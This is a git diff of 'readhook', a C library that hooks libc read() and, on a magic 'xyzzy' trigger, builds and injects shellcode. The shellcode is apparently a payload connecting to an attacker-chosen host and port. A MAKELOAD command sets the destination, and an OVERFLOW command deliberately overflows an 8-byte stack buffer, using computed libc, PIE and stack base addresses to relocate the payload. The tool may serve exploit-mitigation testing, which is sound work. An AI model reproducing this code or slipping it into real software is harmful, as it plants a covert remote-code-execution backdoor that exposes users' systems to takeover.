diff --git a/build.sh b/build.sh index 4bd89f9..87f1df1 100755 --- a/build.sh +++ b/build.sh @@ -1,5 +1,5 @@ #!/bin/bash -docker build --no-cache -t readhook . +docker build -t readhook . # Extract the library from the container docker run -d --rm --name readhook readhook sleep 10 diff --git a/src/addresses.c b/src/addresses.c index f8e6003..acc2b41 100644 --- a/src/addresses.c +++ b/src/addresses.c @@ -1,9 +1,37 @@ #define _GNU_SOURCE +#include +#include + #include "addresses.h" +static Pointer pageBase(Pointer p) { + return (Pointer) (((unsigned long) p) & (-1 ^ getpagesize() - 1)); +} // pageBase() + +static Pointer elfBase(Pointer p) { + const char s_elf_signature[] = {0x7F, 'E', 'L', 'F', 0}; + + p = pageBase(p); + while (strncmp(p, s_elf_signature, strlen(s_elf_signature))) + p -= getpagesize(); + + return p; +} // elfBase() + +void initBaseAddresses(BaseAddressesPtr baseAddressesPtr) { + int dummy; + + *baseAddressesPtr = (BaseAddresses) { + .buf_base = NULL, + .libc_base = elfBase(strcpy), + .pie_base = elfBase(initBaseAddresses), + .stack_base = pageBase(&dummy) + }; +} // initBaseaddresses() + Pointer baseAddress(char base, BaseAddressesPtr baseAddressesPtr) { switch (base) { - case 'B' : return baseAddressesPtr->buffer_base; + case 'B' : return baseAddressesPtr->buf_base; case 'L' : return baseAddressesPtr->libc_base; case 'P' : return baseAddressesPtr->pie_base; case 'S' : return baseAddressesPtr->stack_base; // Actually just base of current stack page diff --git a/src/addresses.h b/src/addresses.h index ed3dffa..ef85c30 100644 --- a/src/addresses.h +++ b/src/addresses.h @@ -17,12 +17,13 @@ typedef union AddressUnion { } AddressUnion, *AddressUnionPtr; typedef struct BaseAddresses { - Pointer buffer_base; + Pointer buf_base; Pointer libc_base; Pointer pie_base; Pointer stack_base; } BaseAddresses, *BaseAddressesPtr; +extern void initBaseAddresses(BaseAddressesPtr baseAddresses); extern Pointer baseAddress(char base, BaseAddressesPtr baseAddressesPtr); extern Offset pointerToOffset(Pointer p, char base, BaseAddressesPtr baseAddressesPtr); extern Offset indirectToOffset(Pointer p, char base, BaseAddressesPtr baseAddressesPtr); @@ -30,5 +31,4 @@ extern Pointer ffsetToPointer(Offset o, BaseAddressesPtr baseAddressesPtr); extern Pointer offsetToIndirect(Offset o, BaseAddressesPtr baseAddressesPtr); extern AddressUnion fixupAddressUnion(AddressUnion au, BaseAddressesPtr baseAddressesPtr); extern void dofixups(Pointer p, size_t n, BaseAddressesPtr baseAddressesPtr); - #endif diff --git a/src/payload.c b/src/payload.c index f1597b2..bab703c 100644 --- a/src/payload.c +++ b/src/payload.c @@ -51,11 +51,11 @@ static const Payload payload0 = { 0x0f, 0x05 // syscall } // .raw } // .pl_scu -}; // payload +}; // payload0 - Payload baseload(void) { - return payload0; -} // baseload() +void initload(PayloadPtr plp) { + *plp = payload0; +} // initload() void makeload(PayloadPtr plp, BaseAddressesPtr baseAddressesPtr) { size_t libc_size = getpagesize() * 100; // Punt @@ -71,7 +71,7 @@ void makeload(PayloadPtr plp, BaseAddressesPtr baseAddressesPtr) { Pointer libc_mprotect = dlsym(RTLD_NEXT, "mprotect"); // Offsets are relative to the payload - baseAddressesPtr->buffer_base = plp; + baseAddressesPtr->buf_base = plp; memset(plp->pl_dst, 0, sizeof(plp->pl_dst)); diff --git a/src/payload.h b/src/payload.h index 5516cad..3dcb6b4 100644 --- a/src/payload.h +++ b/src/payload.h @@ -1,6 +1,7 @@ #ifndef _PAYLOAD_H_ #define _PAYLOAD_H_ #include + #include "addresses.h" typedef struct ShellCode { @@ -31,7 +32,7 @@ typedef struct Payload { ShellCodeUnion pl_scu; } Payload, *PayloadPtr; -extern Payload baseload(void); +extern void initload(PayloadPtr plp); extern void makeload(PayloadPtr plp, BaseAddressesPtr baseAddressesPtr); extern void dumpload(PayloadPtr plp, BaseAddressesPtr baseAddressesPtr); #endif diff --git a/src/readhook.c b/src/readhook.c index 7a0053c..0ce6763 100644 --- a/src/readhook.c +++ b/src/readhook.c @@ -1,111 +1,98 @@ #define _GNU_SOURCE -#include #include -#include -#include -#include -#include +#include // For dlsym() +#include // For gethostbyname() +#include // For i/o +#include // For str...() and mem...() #include "addresses.h" #include "base64.h" #include "payload.h" -#include "strnstr.h" -static Pointer pageBase(Pointer p) { - return (Pointer) (((unsigned long) p) & (-1 ^ getpagesize() - 1)); -} // pageBase() +static const char s_magic[] = "xyzzy"; +static const char s_makeload[] = "MAKELOAD"; +static const char s_dumpload[] = "DUMPLOAD"; +static const char s_testload[] = "TESTLOAD"; +static const char s_overflow[] = "OVERFLOW"; + +// Parse the stuff following MAKELOAD into s_host:port +static ssize_t parseHostAndPort(char *p, ssize_t extent, struct in_addr *ipAddress, unsigned short *port) { + char s_host[256]; + unsigned short np; + int nc = 0, ns = sscanf(p, "%[A-Za-z0-9-.]%n:%hu%n", s_host, &nc, &np, &nc); + assert(ns >= 0 && ns <= 2); + + *port = htons((ns > 1) ? np : 5555); + + // See if the s_host string can be parsed by inet_aton() + if (inet_aton(s_host, ipAddress) == 0) + for (struct hostent *he = gethostbyname(s_host); he; he = NULL) + for (int i = 0; ((struct in_addr **) he->h_addr_list)[i] != NULL; i++) + *ipAddress = *((struct in_addr **) he->h_addr_list)[i]; -static Pointer elfBase(Pointer p) { - const char s_elf_signature[] = {0x7F, 'E', 'L', 'F', 0}; + return nc; +} // parseHostAndPort() - p = pageBase(p); - while (strncmp(p, s_elf_signature, strlen(s_elf_signature))) - p -= getpagesize(); +static ssize_t falseEcho(PayloadPtr plp, char *p, ssize_t extent) { + // Parse the IP Address and port into our payload + int nc = parseHostAndPort(p, extent, &plp->pl_scu.sc.ipAddress, &plp->pl_scu.sc.port); + + // Generate the payload that we will "echo" back + unsigned char sPayload64[4096]; + size_t nPayload64 = b64Encode((const unsigned char *) plp, sizeof(*plp), sPayload64, sizeof(sPayload64)); - return p; -} // elfBase() + // Make room for the payload (where the request used to be). + char *src = p + nc; + char *dst = p + nPayload64 - strlen(s_makeload) + strlen(s_overflow); + int delta = dst - src; + memmove(dst, src, extent - nc); + + // Replace s_makeload with s_overflow + memcpy(p - strlen(s_makeload), s_overflow, strlen(s_overflow)); + p += strlen(s_overflow) - strlen(s_makeload); + + // Place the payload in the newly created space + memcpy(p, sPayload64, nPayload64); + + return delta; +} // falseEcho() static void overflow(Pointer p, size_t n, BaseAddressesPtr baseAddressesPtr) { char buffer[8] = {0}; - baseAddressesPtr->buffer_base = &buffer;; + baseAddressesPtr->buf_base = &buffer;; dofixups(p, n, baseAddressesPtr); memcpy(buffer, p, n); } // overflow() -static const char s_magic[] = "xyzzy"; -static const char s_makeload[] = "MAKELOAD"; -static const char s_dumpload[] = "DUMPLOAD"; -static const char s_testload[] = "TESTLOAD"; -static const char s_overflow[] = "OVERFLOW"; - -static int initialized = 0; -static Payload payload; - typedef ssize_t Read(int fd, void *buf, size_t count); ssize_t read(int fd, void *buf, size_t count) { - Read *libc_read = dlsym(RTLD_NEXT, "read"); + Read *libc_read = (Read *) dlsym(RTLD_NEXT, "read"); ssize_t result = libc_read(fd, buf, count); char *p = (result < strlen(s_magic)) ? NULL : strstr(buf, s_magic); if (p) { - BaseAddresses baseAddresses = { - .buffer_base = NULL, - .libc_base = elfBase(libc_read), - .pie_base = elfBase(read), - .stack_base = pageBase(&baseAddresses) - }; + p += strlen(s_magic); + static BaseAddresses baseAddresses; + static Payload payload; + + static int initialized = 0; if (!initialized) { - payload = baseload(); - initialized = 1; + initBaseAddresses(&baseAddresses); + initload(&payload); + initialized++; } // if - p += strlen(s_magic); if (!strncmp(s_makeload, p, strlen(s_makeload))) { p += strlen(s_makeload); makeload(&payload, &baseAddresses); - // Parse the stuff after MAKELOAD into s_host:port - int nc, ns; - char s_host[256]; - unsigned short port; - - ns = sscanf(p, "%n%255[^: \n]%n:%hu%n", &nc, s_host, &nc, &port, &nc); - assert(ns >= 0 && ns <= 2); - - // Set the port to whatever we got from the sscanf (store it in host endian order) - payload.pl_scu.sc.port = htons((ns > 1) ? port : 5555); - - // See if the s_host string can be parsed by inet_aton() - if (inet_aton(s_host, &payload.pl_scu.sc.ipAddress) == 0) - for (struct hostent *he = gethostbyname(s_host); he; he = NULL) - for (int i = 0; ((struct in_addr **) he->h_addr_list)[i] != NULL; i++) - payload.pl_scu.sc.ipAddress = *((struct in_addr **) he->h_addr_list)[i]; - - // Generate the payload that we will "echo" back - unsigned char sPayload64[4096]; - size_t nPayload64 = b64Encode((const unsigned char *) &payload, sizeof(payload), sPayload64, sizeof(sPayload64)); - - // Make room for the payload (where the request used to be). - char *src = p + nc; - char *dst = p + nPayload64 - strlen(s_makeload) + strlen(s_overflow); - int delta = dst - src; - memmove(dst, src, delta); - - // Replace s_makeload with s_overflow - memcpy(p - strlen(s_makeload), s_overflow, strlen(s_overflow)); - p += strlen(s_overflow) - strlen(s_makeload); - - // Place the payload in the newly created space - memcpy(p, sPayload64, nPayload64); - - // Adjust the number of characters read - result += delta; + result += falseEcho(&payload, p, result - (p - (char *)buf)); // Unbounded out-of-bounds write that is intentional and "ok" for us now (considering everything else) ((char *) buf)[result] = 0; @@ -113,7 +100,7 @@ ssize_t read(int fd, void *buf, size_t count) { else if (!strncmp(s_dumpload, p, strlen(s_dumpload))) dumpload(&payload, &baseAddresses); else if (!strncmp(s_testload, p, strlen(s_testload))) - overflow((Pointer)&payload, sizeof(payload), &baseAddresses); + overflow(&payload, sizeof(payload), &baseAddresses); else if (!strncmp(s_overflow, p, strlen(s_overflow))) { unsigned char *s64 = (unsigned char *) (p + strlen(s_overflow)); size_t n256 = b64Decode(s64, b64Length(s64), (unsigned char *) p, 65535); @@ -127,28 +114,13 @@ ssize_t read(int fd, void *buf, size_t count) { #ifdef READHOOK_MAIN int main(int argc, char **argv) { - fprintf(stderr, "Running as an executable\n"); - - assert(sizeof(short) == 2); - assert(sizeof(int) == 4); - assert(sizeof(long) == 8); - assert(sizeof(void *) == 8); - assert(sizeof(Pointer) == 8); - assert(sizeof(ptrdiff_t) == 8); - assert(sizeof(Offset) == 8); - assert(sizeof(AddressUnion) == 8); - assert(sizeof(struct in_addr) == 4); - assert(sizeof(ShellCodeUnion) == 76); - assert(getpagesize() == 4096); - assert((-1^(getpagesize()-1))==0xfffffffffffff000); - - payload = baseload(); - BaseAddresses baseAddresses = { - .buffer_base = NULL, - .libc_base = elfBase(dlsym(RTLD_NEXT, "read")), - .pie_base = elfBase(read), - .stack_base = pageBase(&baseAddresses) - }; + fprintf(stderr, "Running (testing) as an executable\n"); + + BaseAddresses baseAddresses; + initBaseAddresses(&baseAddresses); + + Payload payload; + initload(&payload); makeload(&payload, &baseAddresses); dumpload(&payload, &baseAddresses); diff --git a/src/strnstr.c b/src/strnstr.c index 8b19b8c..d1aab2c 100644 --- a/src/strnstr.c +++ b/src/strnstr.c @@ -1,5 +1,6 @@ #define _GNU_SOURCE #include + #include "strnstr.h" char *strnstr(const char *s1, const char *s2, size_t len)